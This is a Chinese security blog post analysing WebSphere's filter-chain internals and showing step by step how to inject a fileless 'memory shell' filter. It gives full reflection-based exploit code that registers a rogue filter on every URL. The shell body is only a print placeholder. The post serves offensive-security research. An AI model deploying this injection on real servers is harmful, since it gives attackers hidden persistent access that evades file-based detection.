websphere内存马 构造分析过程

网络安全工程师老王 2024-10-27 09:03:02 阅读 87

前言

WebSphere 是 IBM 开发的一套应用程序服务器和相关软件工具的集合,主要用于构建、部署和管理企业级 Java 应用程序。本文主要是从0到1分析websphere中filter内存马的分析构造分析

环境搭建

websphere环境搭建过程可以参考https://xz.aliyun.com/t/12278

<code>HelloFilter.java

import javax.servlet.*;

import java.io.IOException;

public class HelloFilter implements Filter {

@Override

public void init(FilterConfig filterConfig) throws ServletException {

}

@Override

public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain)

throws IOException, ServletException {

System.out.println("this is HelloFilter!!");

chain.doFilter(request, response);

}

@Override

public void destroy() {

}

}

HelloServlet.java

import java.io.IOException;

import javax.servlet.ServletException;

import javax.servlet.http.HttpServlet;

import javax.servlet.http.HttpServletRequest;

import javax.servlet.http.HttpServletResponse;

public class HelloServlet extends HttpServlet {

private static final long serialVersionUID = 1L;

protected void doGet(HttpServletRequest request, HttpServletResponse response)

throws ServletException, IOException {

response.setContentType("text/html;charset=UTF-8");

response.getWriter().write("<html>");

response.getWriter().write("<head><title>Hello Servlet</title></head>");

response.getWriter().write("<body>");

response.getWriter().write("<h1>Hello, World!</h1>");

response.getWriter().write("</body>");

response.getWriter().write("</html>");

new InjectFilter();

}

}

TestFilter.java

import javax.servlet.*;

import java.io.IOException;

public class TestFilter implements Filter {

@Override

public void init(FilterConfig filterConfig) throws ServletException {

}

@Override

public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain)

throws IOException, ServletException {

System.out.println("this is TestFilter!!");

chain.doFilter(request, response);

}

@Override

public void destroy() {

}

}

web.xml

<servlet>

<servlet-name>HelloWorldServlet</servlet-name>

<servlet-class>org.example.HelloServlet</servlet-class>

</servlet>

<servlet-mapping>

<servlet-name>HelloWorldServlet</servlet-name>

<url-pattern>/hello</url-pattern>

</servlet-mapping>

<filter>

<filter-name>HelloFilter</filter-name>

<filter-class>org.example.HelloFilter</filter-class>

</filter>

<filter-mapping>

<filter-name>HelloFilter</filter-name>

<url-pattern>/hello</url-pattern>

</filter-mapping>

<filter>

<filter-name>TestFilter</filter-name>

<filter-class>org.example.TestFilter</filter-class>

</filter>

<filter-mapping>

<filter-name>TestFilter</filter-name>

<url-pattern>/*</url-pattern>

</filter-mapping>

编写Filter和Servlet,配置web.xml,生成war包,在websphere管理后台中上传war包部署

点击Install,选择war包上传

一直next即可,到Step4,修改Context Root

点击Save保存即可

分析过程

本文是参考https://xz.aliyun.com/t/12278 的另一种Filter内存马的构造方式

在HelloServlet下断点,进入到图中所示的帧中,可以看到在此次调用到wrapper.doFilter(),而wrapper对象是通过<code>this._filters.get()得到的

继续向上,可以看到调用了fc.doFilter(),在fc对象中存在_filters属性,里面就保存了所要调用的filter的信息

查看fc对象是如何构造的,可以看到这里是通过this.getFilterChain()得到的

在该方法里会调用到this.getFilterChainContents()得到fcc对象

跟进该方法,可以看到首先通过缓存来获取,这里由于之前访问过已经存在缓存了,在此次下断点重启服务

重启服务后再次请求可以看到this.chainCache为空,通过this.webAppConfig.getUriFilterMappings()得到所有的filter,保存在servletFilterMappings里

遍历所有filter,得到与请求路径匹配的filter,添加到fcc对象中

得到的fcc对象中的_filterNames属性中保存要经过的filter对象的名称

得到fcc对象之后,返回到WebAppFilterManager#getFilterChain(),调用this.getFilterInstanceWrapper()实例化对应的filter对象,接着将该对象添加到newChain过滤器链中

跟进this.getFilterInstanceWrapper()分析filter对象的实例化过程,首先会从this._filterWrappers中查看是否存在已经实例化的,如何不存在会调用this.loadFilter()

在loadFilter()中接着调用到this._loadFilter()

跟进到_loadFilter(),可以看到程序通过this.webAppConfig.getFilterInfo()来获取需要的filter对象,所有的filter都保存在filterinfo属性里

<code>fcc对象获取过程

1、this.chainCache中存在,直接返回fcc对象

2、this.chainCache中不存在,从servletFilterMappings中获取filter信息与请求路径进行匹配,将匹配的filter名称保存到fcc对象中返回

得到fcc对象之后,就会遍历fcc对象中的_filterNames,实例化filter对象并添加到newChain中,而filter对象都保存到filterInfo中

通过该上面的分析就可以得到注入的流程

1、获取程序运行时上下文

2、将filterconfig添加到filterinfo中

3、将this.chainCache的内容设置为null

4、将自定义的filter添加到servletFilterMappings

exp构造过程

Step1

Context可以通过线程类来获取,使用java-object-search来在线程中搜索所需要的对象

通过下面的代码可以得到一个SRTServletRequest对象

SRTServletRequest srtServletRequest = null;

Object wsThreadLocals = getField(Thread.currentThread(), "wsThreadLocals");

if (wsThreadLocals != null) {

for (int i = 0; i < Array.getLength(wsThreadLocals); i++) {

Object obj = Array.get(wsThreadLocals, i);

if (obj != null && obj.getClass().getName().contains("WebContainerRequestState")) {

obj = getField(obj, "currentThreadsIExtendedRequest");

obj = getField(obj, "_requestContext");

srtServletRequest = (SRTServletRequest) getField(obj, "request");

break;

}

}

}

该对象下存在一个getServletContext()方法可以获取到 servlet 上下文

Step2

获取到Context后,下一步就是实例化一个FilterConfig对象,在FilterConfig类的构造方法下断点,重新启动服务

可以看到在<code>WebAppConfigurationHelper#constructFilterInfos()中实例化了FilterConfig对象,还调用了setFilterClassName()和setName()来初始化filter的基本信息

使用下面的代码来获取FilterConfig,webConfig的值可以通过反射从线程得到

<code>public static FilterConfig getFilterConfig(WebAppConfigurationImpl webConfig) {

FilterConfig f = new com.ibm.ws.webcontainer.filter.FilterConfig(null, webConfig);

f.setFilterClassName(FilterClass);

f.setName(FilterName);

return f;

}

接着调用WebAppConfiguration#addFilterInfo()将实例化好的FilterConfig对象添加到FilterInfo中

Step3

第三步是将this.chainCache的值设置为空,这样当下一次请求的时候就会重新获取fcc对象来生成newChain

这里不能直接将chainCache设置为<code>null,需要将chainCache设置为Collections.synchronizedMap(new LinkedHashMap(20, 0.75F, true))

WebAppFilterManagerImpl filterManager = (WebAppFilterManagerImpl) getField(object, "filterManager");

Map chainCache = Collections.synchronizedMap(new LinkedHashMap(20, 0.75F, true));

field = filterManager.getClass().getSuperclass().getDeclaredField("chainCache");

field.setAccessible(true);

field.set(filterManager, chainCache);

Step4

在FilterMapping类下断点,可以看到FilterConfig#addMappingForUrlPatterns()中实例化了FilterMapping对象

可以看到FilterMapping都保存在ArrayList对象中,那就可以通过反射获取到该对象,接着调用该对象下的add()方法向数组中添加一个元素

<code>ArrayList uriFilterMappingInfos = (ArrayList) getField(object, "uriFilterMappingInfos");

uriFilterMappingInfos.add(filterMapping);

完整exp

<code>package org.example;

import com.ibm.ws.webcontainer.filter.FilterMapping;

import com.ibm.ws.webcontainer.filter.WebAppFilterManagerImpl;

import com.ibm.ws.webcontainer.srt.SRTServletRequest;

import com.ibm.ws.webcontainer.webapp.WebAppConfigurationImpl;

import com.ibm.ws.webcontainer.filter.FilterConfig;

import javax.servlet.*;

import java.io.IOException;

import java.lang.reflect.Array;

import java.lang.reflect.Field;

import java.util.*;

public class InjectFilter {

private static final String FilterClass = "org.example.InjectFilter$FilterShell";

private static final String FilterName = "FilterShell";

private static final String pattern = "/*";

static {

try {

SRTServletRequest srtServletRequest = null;

Object wsThreadLocals = getField(Thread.currentThread(), "wsThreadLocals");

if (wsThreadLocals != null) {

for (int i = 0; i < Array.getLength(wsThreadLocals); i++) {

Object obj = Array.get(wsThreadLocals, i);

if (obj != null && obj.getClass().getName().contains("WebContainerRequestState")) {

obj = getField(obj, "currentThreadsIExtendedRequest");

obj = getField(obj, "_requestContext");

srtServletRequest = (SRTServletRequest) getField(obj, "request");

break;

}

}

}

// Step1 获取到Context

Object object = getField(srtServletRequest.getServletContext(), "context");

WebAppConfigurationImpl webconfig = (WebAppConfigurationImpl) getField(object, "config");

// Step2 构造一个FilterConfig对象,并将该对象添加到FilterInfo中

FilterConfig filterConfig = getFilterConfig(webconfig);

List<String> urlPatternMappings = new ArrayList<>();

urlPatternMappings.add(pattern);

Field field = filterConfig.getClass().getDeclaredField("urlPatternMappings");

field.setAccessible(true);

field.set(filterConfig, urlPatternMappings);

webconfig.addFilterInfo(filterConfig);

// Step3 清空chainCache的值

WebAppFilterManagerImpl filterManager = (WebAppFilterManagerImpl) getField(object, "filterManager");

Map chainCache = Collections.synchronizedMap(new LinkedHashMap(20, 0.75F, true));

field = filterManager.getClass().getSuperclass().getDeclaredField("chainCache");

field.setAccessible(true);

field.set(filterManager, chainCache);

// Step4 构造一个FilterMapping对象,并将该对象添加到uriFilterMappingInfos里

FilterMapping filterMapping = new FilterMapping(pattern, filterConfig, null);

object = getField(filterManager, "webAppConfig");

ArrayList uriFilterMappingInfos = (ArrayList) getField(object, "uriFilterMappingInfos");

uriFilterMappingInfos.add(filterMapping);

} catch (Exception e) {

e.printStackTrace();

}

}

public static Object getField(Object o, String s) throws IllegalAccessException, NoSuchFieldException {

Field field = null;

try {

field = o.getClass().getDeclaredField(s);

} catch (Exception e) {

try {

field = o.getClass().getSuperclass().getDeclaredField(s);

} catch (Exception e1) {

field = o.getClass().getSuperclass().getSuperclass().getDeclaredField(s);

}

}

field.setAccessible(true);

return field.get(o);

}

public static void setField(Object o, String s, Object t) throws NoSuchFieldException, IllegalAccessException {

Field field = null;

try {

field = o.getClass().getDeclaredField(s);

} catch (Exception e) {

try {

field = o.getClass().getSuperclass().getDeclaredField(s);

} catch (Exception e1) {

field = o.getClass().getSuperclass().getSuperclass().getDeclaredField(s);

}

}

field.setAccessible(true);

field.set(o, t);

}

public static FilterConfig getFilterConfig(WebAppConfigurationImpl webConfig) {

FilterConfig f = new com.ibm.ws.webcontainer.filter.FilterConfig(null, webConfig);

f.setFilterClassName(FilterClass);

f.setName(FilterName);

return f;

}

public static class FilterShell implements javax.servlet.Filter {

@Override

public void init(javax.servlet.FilterConfig filterConfig) {

}

@Override

public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {

System.out.println("getShell!!");

chain.doFilter(request, response);

}

@Override

public void destroy() {

}

}

}

参考

https://xz.aliyun.com/t/12278



声明

本文内容仅代表作者观点,或转载于其他网站,本站不以此文作为商业用途
如有涉及侵权,请联系本站进行删除
转载本站原创文章,请注明来源及作者。